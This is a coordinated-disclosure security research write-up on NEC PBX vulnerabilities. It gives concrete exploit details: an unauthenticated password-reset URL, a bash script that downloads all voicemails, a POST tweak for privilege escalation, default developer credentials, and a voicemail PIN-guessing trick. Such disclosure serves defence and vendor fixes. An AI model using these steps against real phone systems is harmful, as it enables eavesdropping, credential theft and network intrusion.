NECsploitation

Researched by Austin Martinetti, Brett Bryant

The modern world comes with some regrettably unavoidable truths: intelligence agencies listen in on your phone calls, and people stick any and everything about themselves - their conquests, their affairs, even their toasters - on the internet. So it's not surprising that people would put the management interfaces for their phone systems on the internet too. For many telecom systems, it would appear their software's approach to security is stuck in an era where intrusions were a myth and encryption was simply for three letter agencies. While the world is changing, it's important to be confident the equipment you're using can't be used by adversaries against your own interests.

Our basic goals for this project were to look into how well telecom equipment was secured and whether or not they've kept pace with the ever-changing world telephony has been a major part of for the last century. We decided to look for PBXes on eBay that might seem interesting for this task, and what we found first was an SV8100 produced by NEC. So we bought it and when it arrived we began our first look into what vulnerabilities common telecom equipment might have.

For the uninitiated, NEC is a Japanese electronics manufacturer that's been around for that century of change. This seemed like a perfect place to bring our exploration of telecom security. One of their more consistently prominent products have been PBXes - small phone systems typically geared towards businesses. The company has retained a modest yet respectable share of the North American PBX market, a strong grasp on Australia's infrastructure, and a significant presence throughout the rest of the world. The current generation of PBXes - the SV8100, SV9100, SL1000/1100 and SL2100 - are not particularly distant descendants of the Aspire and IPK II platforms from past decades. While the systems can be expanded large enough to maintain entire multi-floor hotels, many have found a home in smaller environments such as dentist offices.

Remote Password Reset

We weren't sure what we were getting into, but we began our analysis with binary analysis of their firmware. What we found surprised us. On the SV9100, NEC's Nucleus OS-laden flagship, North American software releases 6.00 and above have a username and password hardcoded into them. Use those credentials at any affected SV9100's web interface, and ta-daaaa! You'll be logged in as whatever manufacturer-level user may exist on the system. And no, changing their username and password won't help. While future releases won't contain this issue, past revisions will continue to be vulnerable until the systems have been manually updated (no automatic provisions exist for security patches).

Alright, that's not good but we understand that sometimes mistakes may make it into production. What else can we do? We saw references to a password reset function which is present in their web interface. As you may have guessed, there are documented default accounts present on the device so if you can reset them you've got your access to it. This was intriguing, so we tried it. It works and doesn't require any credentials to be supplied to make that happen. Even if the security minded sysadmin has updated all the default passwords, the SV9100 software releases 7.00 and above will allow you to send a GET request with the URL http://ip.address/PasswordReset.htm?PWD_RESET() and suddenly, the passwords are all default again.

Every so often, as PBXes get on in their years, the maintainers change. Seriously - we're talking about an industry whose products will stay in service for two or three decades sometimes - maybe longer. And sometimes, when a maintainer goes to clear out a password for a user that doesn't work with the company anymore, they'll do the only logical thing: erase the username and password from the system. Simple, right? If someone forgot to change the access level to "Prohibited User", the PBX software will interpret that very literally and allow you to log in with a blank username and password!

Remote Voicemail Audio Access

When buying one of these, it's common to get a license for InMail, a budget minded integrated voicemail system, and on the older SV8100, a daughterboard to go with it - complete, curiously, with a PCI to cardbus bridge. The daughtercar - a Blackfin DSP, compact flash slot, and some RAM - works rather symbiotically with the CPU on the main board, enough so that it wound up embedded into the later model CPU cards. The main OS (Nucleus OS on all but the SL2100; it runs some Monte Vista Linux distro) will mount the card and make it available to the main PBX software. This is rather unfortunate, considering it makes all your messages available from the web interface. Again, with authentication. Anything that can run Inmail - the SV8100,9100,SL1000,1100 and 2100 - will all do this. The naming convention is pretty simple:

http://ip.address/<extension-messageslot>.wav, where the message slot is a logical identifier for the message file. This starts at 001, but if the first message is erased and later ones are kept,it could very well start at 002, 003, etc. So for example, http://ip.address/200-001.wav would be the first message slot for mailbox 200. The format is similar for greetings: http://ip.address/<extension+messageslot>.wav . Same deal, but with a plus; ex. http://ip.address/200+001.wav would be the first greeting slot for mailbox 200. Perhaps much more usefully for attackers, there's three other mailbox types available from the web interface - routing mailbox, group mailbox, and voice response system - the latter being available on systems with no InMail feature/card. For those wanting a proof of concept, here's a script that'll snarf down all the voicemails on a system:

                    
#!/bin/bash
mailbox_min=200
mailbox_max=300

vm_min=1
vm_max=300

if [ "$1" = "-h" ]; then
    echo "Usage: [HOST=10.0.0.137] [PORT=80] $0 [mailbox_min=200] [mailbox_max=300] [vm_min=1] [vm_max=300]" 1>&2
    exit
fi

if [ "$HOST" = "" ]; then
    HOST="10.0.0.137"
fi

if [ "$PORT" = "" ]; then
    PORT=80
fi

if [ "$1" != "" ]; then
    mailbox_min=$1
fi

if [ "$2" != "" ]; then
    mailbox_max=$2
fi

if [ "$3" != "" ]; then
    vm_min=$3
fi

if [ "$4" != "" ]; then
    vm_max=$4
fi

for mailbox in $(seq $mailbox_min $mailbox_max); do
    for vm in $(seq $vm_min $vm_max); do
        filename1=$(printf "http://%s:%s/%s-%s.wav" "$HOST" "$PORT" $(printf "%03d" $mailbox) $(printf "%03d" $vm) )
        filename2=$(printf "http://%s:%s/%s+%s.wav" "$HOST" "$PORT" $(printf "%03d" $mailbox) $(printf "%03d" $vm) )
        for filename in "$filename1" "$filename2"; do
            wget $filename
        done
    done
done
                    
                

Voice response and routing are pretty simple. Following the previous convention:

http://ip.address/VMR+<messageslot>.wav
http://ip.address/VRS+<messageslot>.wav

These are particularly important for anyone wanting to get information about what your business is doing, since routing mailboxes are typically how to figure out who the PBX belongs to if someone just randomly found it on the internet, for example.

Group mailboxes have an additional identifier for the group number. So for group 1, message 1, you'd request: http://ip.address/VMG001-001.wav, or +001 for group greeting one.

Developer Interface Access

Perhaps a little more strangely, there exists a hidden developer account level for all of these PBXes. Accessing it is pretty straightforward, but changes ever so slightly depending on what system you have.

From the web management interface, take a close look at the POST requests that are being sent. If you change login number 5 to be access level System Administrator B (4, as you'll see at the tail end of the request), on an SV8100 (these change slightly based on the model, but the convention is basically the same) you'll submit: formData=1%12501-4-0-2%114.

Or of you change login number 4 to be access level User Administrator (5), you'll submit: formData=1%12501-3-0-2%115.

You'll note NEC has been very keen to not allow you to create more than one manufacturer level login. But in your favorite web browser, try modifying the POST data you submit so that you're pushing access level 6. To use our previous example here, it'll look like this: formData=1%12501-3-0-2%116.

Go ahead and resubmit it, and then refresh the page. The username disappears! The account number won't be there anymore either; if you do this with login number 4, the listed accounts will go from 3 to 5.

When you log in with those credentials again, you'll be rewarded with the developer access level. What sort of hidden goodies you'll receive vary from platform to platform. On the SV8100 in particular though, the list of IP services you get are quite interesting:

Well, would you look at that! They were even nice enough to outline your newly found powers in purple - that wasn't us. "Call monitoring" in particular seems rather, uh, interesting. Make of that what you will.

To be clear, this privilege escalation will also work with the lowest privilege user on the system (user administrator, but not system administrator A or system administrator B) as well. The account menu isn't a visible option, so you'll have to make a URL such as http://ip.address/Home.htm?sessionId=<session_number>&GOTO(8) (or on SL2100s, http://ip.address/PyxisStMenu.htm?sessionId=<session_number>&SDCATEGORY(196,1,-1) ) to go there. Any higher privileged accounts will be hidden from you, but you can still change your own account to whatever privilege level you feel like.

But what does this matter, you might ask? I've airgapped my NEC - it's safe.

That's a good one.

Remote Network Access

You remember that Blackfin DSP that runs the voicemail? It turns out the Blackfin DSPs are particularly powerful - enough so that the NEC staff licensed a library OneAccess made to implement the V.34 dial-up modem modulation scheme with it; something it'll do without the slightest tipoff to anyone as to what's going on. When connected, it'll initiate a PPP session (we've found authentication works with any username on the web interface, even the lowest privileged ones) and assign you an IP on its own little VLAN. This will grant you access to the things that wouldn't normally be NATed, such as the DIM interface (it's a well known fact within the PBX maintenance community that this lives on port 5963 and on some systems, may be accessed with the user/pass monimoni/hihi. It may vary based on markets. This is a command line that grants you access to the PBX's filesystem, and even the ability to read/write RAM on a non-Linux model; there's no protections in place to prevent that. There's a command in place - passwd - that'll conveniently list all non-manufacturer/developer accounts on the system. If that's not quite your style, you can also use the command type (or fdump) to reveal C:\DATA\PRG90X.DAT on SV8100s. On later systems, this will be a gzipped file labeled PRG90X.zb. Coveniently, all the passwords are stored in plaintext. Did we mention there's a command to dump the RAM in its entirety? The dump command will display a hex/ASCII output of the unit's RAM, with the first argument, if specified, being the address to start from, and the second being the number of bytes to display on the console. We'd suggest not trying to read/write to unassigned addresses on the system (it'll crash), or dumping very large amounts of data at a time (it'll render the system unresponsive, and likely crash if it eventually hits an address it can't access).

By default, this Blackfin modem is assigned the access code 740 - something which should be safely out of the question for an auto-attendant to transfer to without someone forwarding an extension to it. This would be a good time to mention there's a find me/follow me function on the voicemail system (this requires a software license to use) that will call whatever number you give it. Even if it's that modem. For the love of God, please set your permissions right; there's no legitimate need for your voicemail system to ever, *ever* call this.

There are other phone network-based attacks on these systems that can be relatively easy to execute too. For example, some systems will be equipped with a UM8000 - an add-on card with an AMD Geode/Analog Devices Blackfin-based Linux system. This typically replaces InMail as a voicemail system, and is based on a long line of voicemail systems the company has developed over the course of decades. As a result, it shares a rather unique way of handling user input with them. Say for example, you've got a user with extension 1100 on the system. This user, for our demonstration, has the password 1234. The typical configuration for these non-Inmail systems is to have someone dial 9 and their extension to access voicemail. So as an attack, you try dialing 91000. Instead of stopping you there and saying you've entered something invalid, the voicemail system keeps listening for input. At any time, you can press # to clear your input and start again. So this time, you try dialing 91100. Immediately after entering the last zero, the voicemail system stops you there and asks for a password. The same concept applies for password entry too; if you dial 1232 or 1233, the system will just keep waiting for input - input you can clear by pressing #. This gives rise to the possibility of creating a password cracker which doesn't increment the error counter. This would be easy to implement with many different user-defined telephony platforms which allow functions that listen for silence after outpulsing DTMF.

Also worth noting is bearing a similar modem routine on its own Blackfin, the UM8000 will let anyone who knows a valid login establish a PPP session (the default access code for this modem is 663). Via SSH tunneling, this can very efficiently allow a caller access to whatever LAN the UM8000 sits on, and potentially use conventional techniques at that point to compromise an entire network.

Conclusion

To be fair to all involved, we disclosed this to NEC before publication, and they took it as seriously as any vendor should - by the time this is released, there'll be a security update for customers fixing all these issues. They've spent multiple decades coming up with what we've found to be an incredibly solid PBX. The hardware choices, such as the Blackfins, Legerity QSLACs with adjustable filters for FXO and incredibly clean sounding FXS, definitely weren't decisions shrugged into a system overnight. We also noted that the designers chose, rather tastefully, to maintain a time-slot interchange-based design rather than unnecessarily transporting PCM internally over IP as companies like Mitel and Avaya have opted to do. These recent changes to NEC's PBXes will help them face the next century with a renewed focus on software security and our skeptical but optimistic approach to telecom security research continues...

CVE List

As a result of this research, 9 CVEs have been registered pertaining to our findings. They are listed below.

NEC has issued a formal response which can be located at https://www.necplatforms.co.jp/en/press/security_adv.html .

Acknowledgements

We would like to thank:

• The CG6565E for making our ISDN setup messages from the black lagoon possible.
• NEC, for taking the initiative to work with us to address the security issues we've raised.
• And everyone who has kept us strong, resourceful, and forthright.